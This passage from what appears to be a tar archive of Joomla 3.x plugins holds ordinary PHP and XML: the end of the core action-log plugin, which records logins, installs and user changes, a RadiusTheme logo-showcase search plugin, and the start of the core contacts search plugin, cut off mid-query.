				'type'        => $params->text_prefix . '_TYPE_' . $params->type_title,
				'id'          => $pk,
				'title'       => $items[$pk]->{$params->title_holder},
				'itemlink'    => ActionlogsHelper::getContentTypeLink($option, $contentType, $pk, $params->id_holder, null)
			);

			$messages[] = $message;
		}

		$this->addLog($messages, $messageLanguageKey, $context);
	}

	/**
	 * On Saving application configuration logging method
	 * Method is called when the application config is being saved
	 *
	 * @param   JRegistry  $config  JRegistry object with the new config
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onApplicationAfterSave($config)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_APPLICATION_CONFIG_UPDATED';
		$action             = 'update';

		$message = array(
			'action'         => $action,
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_APPLICATION_CONFIG',
			'extension_name' => 'com_config.application',
			'itemlink'       => 'index.php?option=com_config'
		);

		$this->addLog(array($message), $messageLanguageKey, 'com_config.application');
	}

	/**
	 * On installing extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is installed
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_INSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_INSTALLED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On uninstalling extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is uninstalled
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   integer     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// If the process failed, we don't have manifest data, stop process to avoid fatal error
		if ($result === false)
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UNINSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UNINSTALLED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On updating extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is updated
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UPDATED'))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UPDATED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UPDATED';
		}

		$message = array(
			'action'         => 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Saving extensions logging method
	 * Method is called when an extension is being saved
	 *
	 * @param   string   $context  The extension
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    If the extension is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterSave($context, $table, $isNew)
	{
		$option = $this->app->input->getCmd('option');

		if ($table->get('module') != null)
		{
			$option = 'com_modules';
		}

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the extension type doesn't have it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$message = array(
			'action'         => $isNew ? 'add' : 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $params->type_title,
			'id'             => $table->get($params->id_holder),
			'title'          => $table->get($params->title_holder),
			'extension_name' => $table->get($params->title_holder),
			'itemlink'       => ActionlogsHelper::getContentTypeLink($option, $contentType, $table->get($params->id_holder), $params->id_holder, null)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Deleting extensions logging method
	 * Method is called when an extension is being deleted
	 *
	 * @param   string  $context  The extension
	 * @param   JTable  $table    DataBase Table object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterDelete($context, $table)
	{
		if (!$this->checkLoggable($this->app->input->get('option')))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action' => 'delete',
			'type'   => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $params->type_title,
			'title'  => $table->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On saving user data logging method
	 *
	 * Method is called after user data is stored in the database.
	 * This method logs who created/edited any user's data
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		$context = $this->app->input->get('option');
		$task    = $this->app->input->get->getCmd('task');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$jUser = Factory::getUser();

		if (!$jUser->id)
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTERED';
			$action             = 'register';

			// Reset request
			if ($task === 'reset.request')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_RESET_REQUEST';
				$action             = 'resetrequest';
			}

			// Reset complete
			if ($task === 'reset.complete')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_RESET_COMPLETE';
				$action             = 'resetcomplete';
			}

			// Registration Activation
			if ($task === 'registration.activate')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTRATION_ACTIVATE';
				$action             = 'activaterequest';
			}
		}
		elseif ($isnew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$userId   = $jUser->id ?: $user['id'];
		$username = $jUser->username ?: $user['username'];

		$message = array(
			'action'      => $action,
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name'],
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user['id'],
			'userid'      => $userId,
			'username'    => $username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $userId);
	}

	/**
	 * On deleting user data logging method
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On after save user group data logging method
	 *
	 * Method is called after user group is stored into the database
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    Is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSaveGroup($context, $table, $isNew)
	{
		// Override context (com_users.group) with the component context (com_users) to pass the checkLoggable
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		if ($isNew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$message = array(
			'action'      => $action,
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $table->id,
			'title'       => $table->title,
			'itemlink'    => 'index.php?option=com_users&task=group.edit&id=' . $table->id
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On deleting user group data logging method
	 *
	 * Method is called after user group is deleted from the database
	 *
	 * @param   array    $group    Holds the group data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDeleteGroup($group, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $group['id'],
			'title'       => $group['title']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Method to log user login success action
	 *
	 * @param   array  $options  Array holding options (user, responseType)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterLogin($options)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedInUser       = $options['user'];
		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN';

		$message = array(
			'action'      => 'login',
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedInUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $loggedInUser->id);
	}

	/**
	 * Method to log user login failed action
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLoginFailure($response)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// Get the user id for the given username
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'username')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' = ' . $this->db->quote($response['username']));
		$this->db->setQuery($query);

		try
		{
			$loggedInUser = $this->db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return;
		}

		// Not a valid user, return
		if (!isset($loggedInUser->id))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGIN_FAILED';

		$message = array(
			'action'      => 'login',
			'id'          => $loggedInUser->id,
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedInUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $loggedInUser->id);
	}

	/**
	 * Method to log user's logout action
	 *
	 * @param   array  $user     Holds the user data
	 * @param   array  $options  Array holding options (remember, autoregister, group)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLogout($user, $options = array())
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedOutUser = User::getInstance($user['id']);

		if ($loggedOutUser->block)
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_OUT';

		$message = array(
			'action'      => 'logout',
			'id'          => $loggedOutUser->id,
			'userid'      => $loggedOutUser->id,
			'username'    => $loggedOutUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedOutUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Function to check if a component is loggable or not
	 *
	 * @param   string  $extension  The extension that triggered the event
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	protected function checkLoggable($extension)
	{
		return in_array($extension, $this->loggableExtensions);
	}

	/**
	 * On after Remind username request
	 *
	 * Method is called after user request to remind their username.
	 *
	 * @param   array  $user  Holds the user data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterRemind($user)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'remind',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->name,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->name,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_REMIND', $context, $user->id);
	}

	/**
	 * On after Check-in request
	 *
	 * Method is called after user request to check-in items.
	 *
	 * @param   array  $table  Holds the table name.
	 *
	 * @return  void
	 *
	 * @since   3.9.3
	 */
	public function onAfterCheckin($table)
	{
		$context = 'com_checkin';
		$user    = Factory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'checkin',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'table'       => $table,
		);

		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_CHECKIN', $context, $user->id);
	}

	/**
	 * On after log action purge
	 *
	 * Method is called after user request to clean action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogPurge($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_LOG', $context, $user->id);
	}

	/**
	 * On after log export
	 *
	 * Method is called after user request to export action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogExport($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_LOGEXPORT', $context, $user->id);
	}

	/**
	 * On after Cache purge
	 *
	 * Method is called after user request to clean cached items.
	 *
	 * @param   string  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterPurge($group = 'all')
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'cache',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'group'       => $group,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_CACHE', $context, $user->id);
	}

	/**
	 * On after CMS Update
	 *
	 * Method is called after user update the CMS.
	 *
	 * @param   string  $oldVersion  The Joomla version before the update
	 *
	 * @return  void
	 *
	 * @since   3.9.21
	 */
	public function onJoomlaAfterUpdate($oldVersion = null)
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (empty($oldVersion))
		{
			$oldVersion = JText::_('JLIB_UNKNOWN');
		}

		$message = array(
			'action'      => 'joomlaupdate',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'version'     => JVERSION,
			'oldversion'  => $oldVersion,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_UPDATE', $context, $user->id);
	}
}
      actionlog/joomla/joomla.xml                                                                         0000705                 00000001420 15242051521 0011777 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin" group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_JOOMLA</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_ACTIONLOG_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_actionlog_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_actionlog_joomla.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                search/rtlogoshowcase/index.html                                                                    0000705                 00000000037 15242051521 0013044 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 search/rtlogoshowcase/rtlogoshowcase.php                                                            0000705                 00000007306 15242051521 0014631 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_rtlogoshowcase/router.php';

/**
 * Content search plugin.
 *
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 * @since       1.6
 */
class PlgSearchRtlogoshowcase extends JPlugin
{
	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'rtlogoshowcase' => 'Rtlogoshowcase'
		);

		return $areas;
	}

	/**
	 * Search content (articles).
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db = JFactory::getDbo();

		if (is_array($areas))
		{
			if (!array_intersect($areas, array_keys($this->onContentSearchAreas())))
			{
				return array();
			}
		}

		$limit = $this->params->def('search_limit', 50);

		$text = trim($text);

		if ($text == '')
		{
			return array();
		}

		$rows = array();

		
//Search Logos.
if ($limit > 0) {
    switch ($phrase) {
        case 'exact':
            $text = $db->quote('%' . $db->escape($text, true) . '%', false);
            $wheres2 = array();
            $wheres2[] = 'a.title LIKE ' . $text;
$wheres2[] = 'a.web_url LIKE ' . $text;
            $where = '(' . implode(') OR (', $wheres2) . ')';
            break;

        case 'all':
        case 'any':
        default:
            $words = explode(' ', $text);
            $wheres = array();

            foreach ($words as $word) {
                $word = $db->quote('%' . $db->escape($word, true) . '%', false);
                $wheres2 = array();
                $wheres2[] = 'a.title LIKE ' . $word;
$wheres2[] = 'a.web_url LIKE ' . $word;
                $wheres[] = implode(' OR ', $wheres2);
            }

            $where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
            break;
    }

    switch ($ordering) {
        default:
            $order = 'a.id DESC';
            break;
    }

    $query = $db->getQuery(true);

    $query
            ->clear()
            ->select(
                    array(
                        'a.id',
                        'a.title AS title',
                        '"" AS created',
                        'a.title AS text',
                        '"Logo" AS section',
                        '1 AS browsernav'
                    )
            )
            ->from('#__rtlogoshowcase_logos AS a')
            
            ->where('(' . $where . ')')
            ->group('a.id')
            ->order($order);

    $db->setQuery($query, 0, $limit);
    $list = $db->loadObjectList();
    $limit -= count($list);

    if (isset($list)) {
        foreach ($list as $key => $item) {
            $list[$key]->href = JRoute::_('index.php?option=com_rtlogoshowcase&view=logo&id=' . $item->id, false, 2);
        }
    }

    $rows = array_merge($list, $rows);
}

		return $rows;
	}
}
                                                                                                                                                                                                                                                                                                                          search/rtlogoshowcase/rtlogoshowcase.xml                                                            0000705                 00000003717 15242051521 0014644 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search">
    <name>plg_search_rtlogoshowcase</name>
    <author>RadiusTheme</author>
    <creationDate>2016-03-25</creationDate>
    <copyright>Copyright (C) 2016. All rights reserved.</copyright>
    <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
    <authorEmail>support@radiustheme.com</authorEmail>
    <authorUrl>https://radiustheme.com</authorUrl>
    <version>CVS: 1.0.0</version>
    <description>PLG_SEARCH_COM_RTLOGOSHOWCASE_XML_DESCRIPTION</description>
    <files>
        <filename plugin="rtlogoshowcase">rtlogoshowcase.php</filename>
        <filename>index.html</filename>
    </files>
    <languages folder="../../../languages/site/search/rtlogoshowcase">
        
			<language tag="en-GB">../../../languages/plugins/search/rtlogoshowcase/en-GB/en-GB.plg_search_rtlogoshowcase.ini</language>
			<language tag="en-GB">../../../languages/plugins/search/rtlogoshowcase/en-GB/en-GB.plg_search_rtlogoshowcase.sys.ini</language>
			<language tag="de-DE">../../../languages/plugins/search/rtlogoshowcase/de-DE/de-DE.plg_search_rtlogoshowcase.ini</language>
			<language tag="de-DE">../../../languages/plugins/search/rtlogoshowcase/de-DE/de-DE.plg_search_rtlogoshowcase.sys.ini</language>
			<language tag="es-ES">../../../languages/plugins/search/rtlogoshowcase/es-ES/es-ES.plg_search_rtlogoshowcase.ini</language>
			<language tag="es-ES">../../../languages/plugins/search/rtlogoshowcase/es-ES/es-ES.plg_search_rtlogoshowcase.sys.ini</language>
    </languages>
    <config>
        <fields name="params">

            <fieldset name="basic">
                <field name="search_limit" type="text" default="50" size="5"
                       description="PLG_SEARCH_COM_RTLOGOSHOWCASE_FIELD_SEARCHLIMIT_DESC"
                       label="PLG_SEARCH_COM_RTLOGOSHOWCASE_FIELD_SEARCHLIMIT_LABEL" />
            </fieldset>

        </fields>
    </config>
</extension>
                                                 search/contacts/contacts.php                                                                        0000705                 00000012067 15242051521 0012157 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.contacts
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contacts search plugin.
 *
 * @since  1.6
 */
class PlgSearchContacts extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'contacts' => 'PLG_SEARCH_CONTACTS_CONTACTS'
		);

		return $areas;
	}

	/**
	 * Search content (contacts).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   string  $areas     An array if the search is to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		JLoader::register('ContactHelperRoute', JPATH_SITE . '/components/com_contact/helpers/route.php');

		$db     = JFactory::getDbo();
		$app    = JFactory::getApplication();
		$user   = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent  = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit     = $this->params->def('search_limit', 50);
		$state     = array();

		if ($sContent)
		{
			$state[] = 1;
		}

		if ($sArchived)
		{
			$state[] = 2;
		}

		if (empty($state))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		$section = JText::_('PLG_SEARCH_CONTACTS_CONTACTS');

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.name ASC';
				break;

			case 'category':
				$order = 'c.title ASC, a.name ASC';
				break;

			case 'popular':
			case 'newest':
			case 'oldest':
			default:
				$order = 'a.name DESC';
		}

		$text = $db->quote('%' . $db->escape($text, true) . '%', false);

		$query = $db->getQuery(true);

		// SQLSRV changes.
		$case_when  = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';

		$case_when1  = ' CASE WHEN ';
		$case_when1 .= $query->charLength('c.alias', '!=', '0');
		$case_when1 .= ' THEN ';
		$c_id        = $query->castAsChar('c.id');
		$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when1 .= ' ELSE ';
		$case_when1 .= $c_id . ' END as catslug';

		$query->select(
			'a.name AS title, \'\' AS created, a.con_position, a.misc, '
				. $case_when . ',' . $case_when1 . ', '
				. $query->concatenate(array('a.name', 'a.con_position', 'a.misc'), ',') . ' AS text,'
				. $query->concatenate(array($db->quote($section), 'c.title'), ' / ') . ' AS section,'
				. '\'2\' AS browsernav'
		);
		$query->from('#__contact_details AS a')
			->join('INNER', '#__categories AS c ON c.id = a.catid')
			->where(
